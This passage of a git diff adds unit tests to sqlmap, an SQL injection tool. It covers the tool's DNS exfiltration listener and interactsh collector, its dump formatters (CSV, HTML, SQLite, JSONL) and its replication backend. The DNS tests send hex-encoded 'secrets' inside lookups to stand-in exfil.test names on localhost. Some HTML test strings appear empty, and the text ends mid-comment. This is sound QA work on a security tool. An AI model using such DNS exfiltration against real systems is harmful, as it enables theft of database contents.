b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + struct.pack(">H", qtype) + b"\x00\x01" + + +class _HighPortDNSServer(DNSServer): + """Real DNSServer logic, bound on an ephemeral high port (no root, no :53 probe). + + Binds to port 0 and reads the kernel-chosen port back via getsockname() (same pattern + as tests/test_dns_engine.py) so concurrent/repeated runs never collide on a hardcoded + port. The actual port is exposed as L{self.port}. + """ + def __init__(self, sock=None, maxlen=MAX_DNS_REQUESTS): + self._requests = collections.deque(maxlen=maxlen) + self._lock = threading.Lock() + if sock is None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("127.0.0.1", 0)) + self._socket = sock + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + + +# Maximum time (seconds) to wait for the daemon server thread to come up, or for a sent +# query to be recorded, before failing loudly instead of spinning/sleeping forever. +WAIT_TIMEOUT = 5.0 + + +def _wait_initialized(srv, timeout=WAIT_TIMEOUT): + """Bounded wait for the server thread to flip _initialized; fail fast if it never does.""" + deadline = time.time() + timeout + while not srv._initialized: + if time.time() > deadline: + raise RuntimeError("DNS server failed to initialize within %.1fs" % timeout) + time.sleep(0.01) + + +def _wait_recorded(srv, token, timeout=WAIT_TIMEOUT): + """Bounded wait until L{token} appears in a recorded request; False on timeout.""" + if hasattr(token, "encode"): + token = token.encode() + deadline = time.time() + timeout + while time.time() <= deadline: + with srv._lock: + if any(token in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + +def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT): + """Bounded wait until pop(prefix, suffix) yields a value; returns it or None on timeout.""" + deadline = time.time() + timeout + while time.time() <= deadline: + popped = srv.pop(prefix, suffix) + if popped: + return popped + time.sleep(0.01) + return None + + +class _SendFailOnceSocket(object): + """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" + def __init__(self, real): + self._real = real + self._sends = 0 + + def recvfrom(self, *a, **k): + return self._real.recvfrom(*a, **k) + + def sendto(self, *a, **k): + self._sends += 1 + if self._sends == 1: + raise RuntimeError("simulated transient sendto failure") + return self._real.sendto(*a, **k) + + def __getattr__(self, name): + return getattr(self._real, name) + + +class TestDNSQuery(unittest.TestCase): + def test_parses_data_bearing_name(self): + q = DNSQuery(build_query("pre.deadbeef.suf.exfil.test")) + self.assertEqual(q._query, b"pre.deadbeef.suf.exfil.test.") + + def test_empty_and_short_packets_do_not_raise(self): + for raw in (b"", b"\x00", b"\x12", b"\x12\x34", b"\x12\x34\x01\x20"): + self.assertEqual(DNSQuery(raw)._query, b"") # no exception, empty query + + def test_unterminated_name_does_not_raise(self): + # a length byte that runs past the buffer, with no null terminator + pkt = b"\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x20" + b"abc" + DNSQuery(pkt) # must not raise (slicing past end yields b"", ord guards) + + def test_response_is_valid_A_record(self): + q = DNSQuery(build_query("x.y.z", tid=b"\xab\xcd")) + resp = q.response("127.0.0.1") + self.assertEqual(resp[:2], b"\xab\xcd") # transaction id echoed + self.assertEqual(resp[2:4], b"\x85\x80") # standard response, no error + ip = ".".join(str(b if isinstance(b, int) else ord(b)) for b in resp[-4:]) + self.assertEqual(ip, "127.0.0.1") + + def test_empty_query_yields_empty_response(self): + self.assertEqual(DNSQuery(b"\x00").response("127.0.0.1"), b"") + + +class TestDNSServerRoundTrip(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def _send(self, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(build_query(name), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + return _wait_recorded(self.srv, name) + + def test_roundtrip_and_pop(self): + self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) + self.assertIsNone(self.srv.pop("zzz", "yyy")) # wrong boundaries + self.assertIsNotNone(self.srv.pop("aaa", "bbb")) # correct boundaries + self.assertIsNone(self.srv.pop("aaa", "bbb")) # consumed only once + + def test_non_a_query_type_still_recorded(self): + # a DBMS resolver may emit AAAA (28) / TXT (16) lookups - the exfiltrated name is in the + # labels regardless of qtype, and the server records before crafting the (A) response + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + if not _wait_popped(self.srv, "ggg", "hhh"): + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + + +class TestDNSServerMemoryBound(unittest.TestCase): + """The server records every received query (it listens on :53); only matching ones are + popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" + + def test_requests_are_bounded_and_recent_kept(self): + srv = _HighPortDNSServer(maxlen=50) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for i in range(200): # flood well past the bound + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", srv.port)) + c.close() + # a legit exfil query right after the flood must still be capturable + c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", srv.port)) + try: + c2.recvfrom(512) + except socket.timeout: + pass + finally: + c2.close() + popped = _wait_popped(srv, "ppp", "qqq") + with srv._lock: + n = len(srv._requests) + self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) + self.assertIsNotNone(popped, "a fresh exfil query was lost after a flood of stray traffic") + + +class TestDNSServerResilience(unittest.TestCase): + def _make(self, sock=None): + srv = _HighPortDNSServer(sock=sock) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + return srv + + def _query(self, port, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(1) + c.sendto(build_query(name), ("127.0.0.1", port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + + def _recorded(self, srv, token): + return _wait_recorded(srv, token) + + def test_survives_transient_send_error(self): + # ephemeral bind, then wrap the bound socket so its first sendto() raises + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(("127.0.0.1", 0)) + srv = self._make(sock=_SendFailOnceSocket(s)) + self._query(srv.port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(srv.port, "ccc.22.ddd.exfil.test") # must still be served + self.assertTrue(self._recorded(srv, "ccc.22.ddd"), + "DNS server died after one failing sendto (lost subsequent exfil)") + self.assertTrue(srv._running) + + def test_survives_malformed_packets(self): + srv = self._make() + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): + c.sendto(junk, ("127.0.0.1", srv.port)) + c.close() + self._query(srv.port, "ok.33.fine.exfil.test") + self.assertTrue(self._recorded(srv, "ok.33.fine"), + "DNS server died on a malformed packet") + + +class TestDNSServerConcurrency(unittest.TestCase): + """Under --threads, many workers fire DNS queries and call pop() while the server thread + appends - all guarded by one lock. Each worker must get back exactly its own data.""" + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def test_concurrent_send_and_pop_no_crosstalk(self): + import binascii, re + N = 12 + errors = [] + + def worker(i): + # distinct boundary labels per worker (DNS boundary alphabet = letters, no a-f/digits) + prefix = "gg" + chr(ord("g") + i) + suffix = "mm" + chr(ord("g") + i) + secret = ("worker-%02d-secret" % i).encode() + host = "%s.%s.%s.exfil.test" % (prefix, binascii.hexlify(secret).decode(), suffix) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + try: + c.sendto(build_query(host), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + got = _wait_popped(self.srv, prefix, suffix) + if not got: + errors.append("worker %d: never popped its query" % i); return + m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) + if not m or binascii.unhexlify(m.group("r")) != secret: + errors.append("worker %d: cross-talk/corruption got=%r" % (i, got)) + + threads = [threading.Thread(target=worker, args=(i,)) for i in range(N)] + for t in threads: + t.start() + for t in threads: + t.join() + self.assertEqual(errors, [], "concurrency failures: %s" % errors) + # every queued request consumed exactly once -> nothing left behind + self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names): + class _FakeClient(object): + registered = True + def dnsDomain(self): return "corr0000000000000nnc.oast.fun" + def dnsNames(self): return list(names) + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = _FakeClient() + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + srv._POLL_TRIES = 1 # no real sleeps in unit tests + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"]) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + + def test_run_is_noop(self): + self._collector([]).run() # must not raise + diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py new file mode 100644 index 00000000000..2fb052f2b28 --- /dev/null +++ b/tests/test_dump_format.py @@ -0,0 +1,445 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Output formatting of the result dumper (lib/core/dump.py) and the SQLite +replication backend (lib/core/replication.py). + +dump.Dump turns extracted DB structures (schemas, table/column listings, row +counts, single facts, user lists) into the human-readable ASCII tables printed +to the console, and serializes per-table row data to CSV / HTML / SQLite files. +None of that needs a live target, network or DBMS: the console renderers route +every line through Dump._write (overridden here to capture instead of print), +and the file renderers just write to a path we point at a temp dir. These tests +pin the rendered layout/escaping contracts so a formatting regression is caught +without an end-to-end scan. +""" + +import io +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict as _PlainOrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT +from lib.core.replication import Replication + + +# --- console-rendering tests (no files): capture every Dump._write line -------------------------- + +class _CaptureCase(unittest.TestCase): + """Base for the console renderers: pins a neutral case-preserving DBMS, disables api/report + side channels, and replaces Dump._write with an in-memory capture so nothing hits stdout.""" + + _CONF_KEYS = ("api", "reportCollector", "dumpFormat", "col", "csvDel", "dumpPath", "dumpFile", + "limitStart", "limitStop", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + conf.api = False + conf.reportCollector = None + conf.col = None + conf.csvDel = "," + self.lines = [] + self.d = Dump() + self.d._write = self._capture + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + + def _capture(self, data, newline=True, console=True, content_type=None): + # mirror Dump._write's own line-vs-space join so multi-call lines reassemble faithfully + self.lines.append("%s%s" % (data, "\n" if newline else " ")) + + def text(self): + return "".join(self.lines) + + +class TestStringAndLister(_CaptureCase): + def test_string_scalar_quoted(self): + # a plain string fact is rendered as "header: 'value'" + self.d.string("current user", "root@localhost") + self.assertIn("current user: 'root@localhost'", self.text()) + + def test_string_multiline_block(self): + # a value containing a newline switches to the fenced ---\n...\n--- block form + self.d.string("banner", "line1\nline2") + out = self.text() + self.assertIn("banner:\n---\nline1\nline2\n---", out) + + def test_string_singleton_list_unwrapped(self): + # a one-element list is unwrapped to the scalar form (not the lister "[N]:" form) + self.d.string("current database", ["testdb"]) + out = self.text() + self.assertIn("current database: 'testdb'", out) + self.assertNotIn("[1]", out) + + def test_lister_sorts_and_counts(self): + # lister prints a "[count]:" header, one "[*] item" per element, sorted case-insensitively + self.d.lister("available databases", ["mysql", "Alpha", "zebra"]) + out = self.text() + self.assertIn("available databases [3]:", out) + body = out[out.index("[3]:"):] + # case-insensitive ascending: Alpha, mysql, zebra + self.assertLess(body.index("[*] Alpha"), body.index("[*] mysql")) + self.assertLess(body.index("[*] mysql"), body.index("[*] zebra")) + + def test_lister_dedupes(self): + # the sort path also de-duplicates (set()) before listing + self.d.lister("database management system users", ["root", "root", "guest"]) + out = self.text() + self.assertIn("database management system users [2]:", out) + self.assertEqual(out.count("[*] root"), 1) + + def test_lister_unsorted_preserves_order(self): + # sort=False (e.g. rFile) keeps insertion order + self.d.lister("files saved to", ["/z", "/a", "/m"], sort=False) + out = self.text() + self.assertLess(out.index("[*] /z"), out.index("[*] /a")) + self.assertLess(out.index("[*] /a"), out.index("[*] /m")) + + +class TestCurrentDb(_CaptureCase): + def test_label_default_dbms(self): + # MySQL is not in the schema/owner special-cased lists -> plain "current database" + self.d.currentDb("testdb") + self.assertIn("current database: 'testdb'", self.text()) + + def test_label_schema_dbms(self): + # Oracle is in the schema-equivalent list -> the label is annotated accordingly + Backend.forceDbms("Oracle") + self.d.currentDb("SYSTEM") + out = self.text() + self.assertIn("equivalent to schema on Oracle", out) + self.assertIn("SYSTEM", out) + + +class TestDbTables(_CaptureCase): + def test_table_listing_box(self): + self.d.dbTables({"testdb": ["users", "logs"]}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("[2 tables]", out) + self.assertIn("| users", out) + self.assertIn("| logs", out) + # box borders present + self.assertIn("+", out) + + def test_single_table_singular(self): + self.d.dbTables({"testdb": ["only"]}) + self.assertIn("[1 table]", self.text()) + + def test_no_tables(self): + self.d.dbTables({}) + self.assertIn("No tables found", self.text()) + + def test_box_width_matches_longest_table(self): + # the border length tracks the longest table name (+2 padding) + self.d.dbTables({"testdb": ["a", "elephant"]}) + out = self.text() + # "elephant" is 8 chars -> a border line of 8+2 = 10 dashes exists + self.assertIn("+%s+" % ("-" * 10), out) + + +class TestDbTableColumns(_CaptureCase): + def test_typed_columns_two_column_box(self): + self.d.dbTableColumns({"testdb": {"users": {"id": "int", "name": "varchar(50)"}}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("Table: users", out) + self.assertIn("[2 columns]", out) + self.assertIn("| Column", out) + self.assertIn("| Type", out) + self.assertIn("int", out) + self.assertIn("varchar(50)", out) + + def test_typeless_columns_single_box(self): + # when no column carries a type, only the Column box is rendered (no Type header) + self.d.dbTableColumns({"testdb": {"users": {"id": None, "name": None}}}) + out = self.text() + self.assertIn("| Column", out) + self.assertNotIn("| Type", out) + + def test_mixed_types_still_show_type_header(self): + # even if the alphabetically-last column is type-less, a Type column must appear + self.d.dbTableColumns({"testdb": {"t": {"aaa": "int", "zzz": None}}}) + self.assertIn("| Type", self.text()) + + +class TestDbTablesCount(_CaptureCase): + def test_count_box_sorted_desc(self): + self.d.dbTablesCount({"testdb": {5: ["small"], 100: ["big"]}}) + out = self.text() + self.assertIn("Database: testdb", out) + self.assertIn("| Table", out) + self.assertIn("| Entries", out) + # higher count first (reverse sort) + self.assertLess(out.index("big"), out.index("small")) + self.assertIn("100", out) + + +class TestUserSettings(_CaptureCase): + def test_privileges_listed_with_admin_flag(self): + # userSettings accepts (settingsDict, adminsSet); admins get an "(administrator)" tag + settings = ({"root": ["ALL"], "guest": ["SELECT"]}, set(["root"])) + self.d.userSettings("database management system users privileges", settings, "privilege") + out = self.text() + self.assertIn("[*] root (administrator)", out) + self.assertIn("[*] guest", out) + self.assertNotIn("guest (administrator)", out) + self.assertIn("privilege: ALL", out) + self.assertIn("privilege: SELECT", out) + + +# --- file-rendering tests (CSV / HTML / SQLite): point output at a temp dir ---------------------- + +class _FileDumpCase(unittest.TestCase): + _CONF_KEYS = ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", + "limitStart", "limitStop", "csvDel", "forceDbms", "dbms") + _KB_KEYS = ("forcedDbms", "dbms") + + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in self._CONF_KEYS) + self._savedKb = dict((k, kb.get(k)) for k in self._KB_KEYS) + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-dumpfmt-test") + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _path(self, table_values, ext): + db = table_values["__infos__"]["db"] or "All" + return os.path.join(self.tmp, db, "%s.%s" % (table_values["__infos__"]["table"], ext)) + + def _dump(self, table_values, fmt, ext): + conf.dumpFormat = fmt + self.d.dbTableValues(table_values) + with io.open(self._path(table_values, ext), encoding="utf-8") as f: + return f.read() + + +class TestCsvDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1", "2"]}), + ("name", {"length": 6, "values": ["luther", "fluffy"]}), + ]) + + def test_header_and_rows(self): + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(lines[0].split(","), ["id", "name"]) + self.assertEqual(lines[1].split(","), ["1", "luther"]) + self.assertEqual(lines[2].split(","), ["2", "fluffy"]) + + def test_delimiter_in_value_is_quoted(self): + # RFC-4180: a value containing the delimiter must be wrapped in quotes + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 8, "values": ["x,y"]}), + ("b", {"length": 1, "values": ["z"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + self.assertIn('"x,y"', content) + + def test_null_and_blank_markers(self): + # the display replacements apply to CSV too: DB NULL (" ") -> NULL, empty ("") -> + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("a", {"length": 4, "values": [" "]}), + ("b", {"length": 7, "values": [""]}), + ("c", {"length": 1, "values": ["x"]}), + ]) + content = self._dump(tv, DUMP_FORMAT.CSV, "csv") + row = [l for l in content.splitlines() if l.strip()][1] + self.assertEqual(row.split(","), ["NULL", "", "x"]) + + def test_custom_delimiter(self): + conf.csvDel = ";" + content = self._dump(self._sample(), DUMP_FORMAT.CSV, "csv") + self.assertEqual(content.splitlines()[0].split(";"), ["id", "name"]) + + +class TestHtmlDump(_FileDumpCase): + def _sample(self): + return _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "users"}), + ("id", {"length": 2, "values": ["1"]}), + ("name", {"length": 6, "values": ["luther"]}), + ]) + + def test_html_scaffold_and_cells(self): + content = self._dump(self._sample(), DUMP_FORMAT.HTML, "html") + self.assertIn("", content) + self.assertIn("testdb.users", content) + self.assertIn("id", content) + self.assertIn(">name", content) + self.assertIn("1", content) + self.assertIn("luther", content) + self.assertIn("", content) + self.assertIn("", content) + + def test_html_escapes_markup(self): + # a value with HTML metacharacters must be escaped, not emitted raw + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("payload", {"length": 16, "values": [""]}), + ]) + content = self._dump(tv, DUMP_FORMAT.HTML, "html") + self.assertNotIn("", content) + self.assertIn("<", content) + + +class TestSqliteDump(_FileDumpCase): + def test_rows_and_inferred_types(self): + tv = _PlainOrderedDict([ + ("__infos__", {"count": 2, "db": "testdb", "table": "people"}), + ("id", {"length": 2, "values": ["1", "2"]}), # all ints -> INTEGER + ("ratio", {"length": 4, "values": ["1.5", "2.0"]}), # floats -> REAL + ("name", {"length": 6, "values": ["alice", " "]}), # text with a NULL marker + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + dbfile = os.path.join(self.tmp, "testdb.sqlite3") + self.assertTrue(os.path.exists(dbfile)) + conn = sqlite3.connect(dbfile) + try: + cur = conn.cursor() + cur.execute("SELECT id, ratio, name FROM people ORDER BY id") + rows = cur.fetchall() + self.assertEqual(rows[0], (1, 1.5, "alice")) + # the DB NULL marker (" ") was stored as a real NULL, not the "NULL" text + self.assertEqual(rows[1], (2, 2.0, None)) + # column affinities inferred from the values + cur.execute("PRAGMA table_info(people)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["id"], "INTEGER") + self.assertEqual(types["ratio"], "REAL") + self.assertEqual(types["name"], "TEXT") + finally: + conn.close() + + def test_non_roundtrip_numbers_stay_text(self): + # Values that look numeric but would be silently rewritten by SQLite's INTEGER/REAL + # affinity (leading zeros, sign prefix, 64-bit overflow, trailing-zero/exponent floats) + # must be stored verbatim as TEXT, otherwise the export corrupts the dumped data + tv = _PlainOrderedDict([ + ("__infos__", {"count": 1, "db": "testdb", "table": "t"}), + ("zip", {"length": 5, "values": ["007"]}), + ("phone", {"length": 10, "values": ["0917123456"]}), + ("signed", {"length": 2, "values": ["+1"]}), + ("huge", {"length": 30, "values": ["123456789012345678901234567890"]}), + ("money", {"length": 4, "values": ["2.00"]}), + ("real_int", {"length": 1, "values": ["5"]}), # genuine ints still typed INTEGER + ]) + conf.dumpFormat = DUMP_FORMAT.SQLITE + self.d.dbTableValues(tv) + + import sqlite3 + conn = sqlite3.connect(os.path.join(self.tmp, "testdb.sqlite3")) + try: + cur = conn.cursor() + cur.execute("SELECT zip, phone, signed, huge, money, real_int FROM t") + self.assertEqual(cur.fetchone(), ("007", "0917123456", "+1", "123456789012345678901234567890", "2.00", 5)) + cur.execute("PRAGMA table_info(t)") + types = {name: ctype for (_cid, name, ctype, _nn, _dv, _pk) in cur.fetchall()} + self.assertEqual(types["zip"], "TEXT") + self.assertEqual(types["huge"], "TEXT") + self.assertEqual(types["money"], "TEXT") + self.assertEqual(types["real_int"], "INTEGER") + finally: + conn.close() + + +# --- replication backend tests (pure sqlite3, no network/DBMS) ----------------------------------- + +class TestReplication(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap-repl-test") + self.path = os.path.join(self.tmp, "out.sqlite3") + self.repl = Replication(self.path) + + def tearDown(self): + try: + self.repl.connection.close() + except Exception: + pass + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_create_insert_select_roundtrip(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.beginTransaction() + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + t.endTransaction() + rows = sorted(t.select()) + self.assertEqual(rows, [(1, "alice"), (2, "bob")]) + + def test_select_with_condition(self): + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + t.insert(["1", "alice"]) + t.insert(["2", "bob"]) + self.assertEqual(t.select("name = 'bob'"), [(2, "bob")]) + + def test_insert_wrong_arity_raises(self): + from lib.core.exception import SqlmapValueException + t = self.repl.createTable("t", [("id", Replication.INTEGER), ("name", Replication.TEXT)]) + with self.assertRaises(SqlmapValueException): + t.insert(["only-one-value"]) + + def test_typeless_table(self): + t = self.repl.createTable("t", ["a", "b"], typeless=True) + t.insert(["x", "y"]) + self.assertEqual(t.select(), [("x", "y")]) + + def test_datatype_str(self): + self.assertEqual(str(Replication.TEXT), "TEXT") + self.assertEqual(str(Replication.INTEGER), "INTEGER") + self.assertIn("DataType", repr(Replication.REAL)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py new file mode 100644 index 00000000000..515b68bf3ef --- /dev/null +++ b/tests/test_dump_jsonl.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSONL output of the per-table dumper (Dump.dbTableValues in lib/core/dump.py). + +--dump-format=JSONL writes one self-describing JSON object per row to a +/dump//.jsonl file, streaming-safe (one independent line per +row, no surrounding array/header/footer). These tests pin the contract that an +automated consumer relies on: column order preserved (so it matches the CSV +column order and is reproducible on Python 2's unordered dict), the DB-NULL +marker (" ") mapped to JSON null exactly like --report-json, the empty string +left intact (NOT collapsed to null), and a strict one-object-per-line layout. +""" + +import io +import json +import os +import shutil +import sys +import tempfile +import unittest + +from collections import OrderedDict + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.dump import Dump +from lib.core.enums import DUMP_FORMAT + + +class _JsonlDumpCase(unittest.TestCase): + def setUp(self): + self._saved = dict((k, conf.get(k)) for k in ("dumpFormat", "dumpPath", "dumpFile", "col", "api", "reportCollector", "limitStart", "limitStop", "csvDel", "forceDbms", "dbms")) + self._savedKb = dict((k, kb.get(k)) for k in ("forcedDbms", "dbms")) + # A DBMS leaked from an earlier test (e.g. one that uppercases identifiers) would change + # both the on-disk filename and the JSON keys, so pin a neutral, case-preserving back-end. + conf.forceDbms = conf.dbms = None + kb.dbms = None + Backend.forceDbms("MySQL") + self.tmp = tempfile.mkdtemp(prefix="sqlmap-jsonl-test") + conf.dumpFormat = DUMP_FORMAT.JSONL + conf.dumpPath = self.tmp + conf.dumpFile = None + conf.col = None + conf.api = False + conf.reportCollector = None + conf.limitStart = conf.limitStop = None + conf.csvDel = "," + self.d = Dump() + self.d._write = lambda *a, **k: None # silence the console table + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._savedKb.items(): + kb[k] = v + shutil.rmtree(self.tmp, ignore_errors=True) + + def _dump(self, table_values): + self.d.dbTableValues(table_values) + db = table_values["__infos__"]["db"] or "All" + path = os.path.join(self.tmp, db, "%s.jsonl" % table_values["__infos__"]["table"]) + # sqlmap writes the dump file as UTF-8; read it the same way (not the platform default, + # which is cp1252 on Windows CI and would mojibake multibyte values) + with io.open(path, encoding="utf-8") as f: + content = f.read() + return content + + def _rows(self, content): + return [json.loads(line) for line in content.splitlines() if line.strip()] + + +class TestJsonlContract(_JsonlDumpCase): + def test_one_object_per_row(self): + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "users"}, + "id": {"length": 2, "values": ["1", "2"]}, + "name": {"length": 6, "values": ["luther", "fluffy"]}, + }) + # exactly N non-empty lines, each terminated by a newline, each a standalone object + lines = content.splitlines() + self.assertEqual(len(lines), 2) + self.assertTrue(content.endswith("\n")) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "name": "luther"}) + self.assertEqual(rows[1], {"id": "2", "name": "fluffy"}) + + def test_no_header_or_footer(self): + # unlike CSV (header row) / HTML (doc scaffold), JSONL must be pure data lines + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1"]}, + }) + lines = [l for l in content.splitlines() if l.strip()] + self.assertEqual(len(lines), 1) + self.assertEqual(json.loads(lines[0]), {"id": "1"}) + + def test_db_null_becomes_json_null(self): + # sqlmap stores a DB NULL as a single space (" "); the machine format must emit JSON null, + # consistent with --report-json. An empty string is a real value and must stay "". + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "a": {"length": 1, "values": [" "]}, # DB NULL marker + "b": {"length": 1, "values": [""]}, # genuine empty string + "c": {"length": 1, "values": ["x"]}, + }) + row = self._rows(content)[0] + self.assertIsNone(row["a"]) + self.assertEqual(row["b"], "") + self.assertEqual(row["c"], "x") + + def test_missing_value_is_null(self): + # a column whose values list is short for this row index must serialize as null, not crash + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1", "2"]}, + "lagging": {"length": 4, "values": ["only-one"]}, # missing index 1 + }) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "lagging": "only-one"}) + self.assertEqual(rows[1], {"id": "2", "lagging": None}) + + def test_column_order_matches_csv(self): + # The serialized byte stream must keep the (priority-sorted) column order so output is + # reproducible - even on Python 2 